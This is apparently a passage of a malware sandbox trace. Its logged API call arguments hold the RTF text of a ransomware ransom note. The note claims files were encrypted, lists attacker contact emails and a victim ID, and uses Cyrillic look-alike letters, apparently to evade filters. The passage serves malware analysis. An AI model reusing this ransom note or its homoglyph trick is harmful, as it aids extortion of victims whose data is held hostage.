\\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 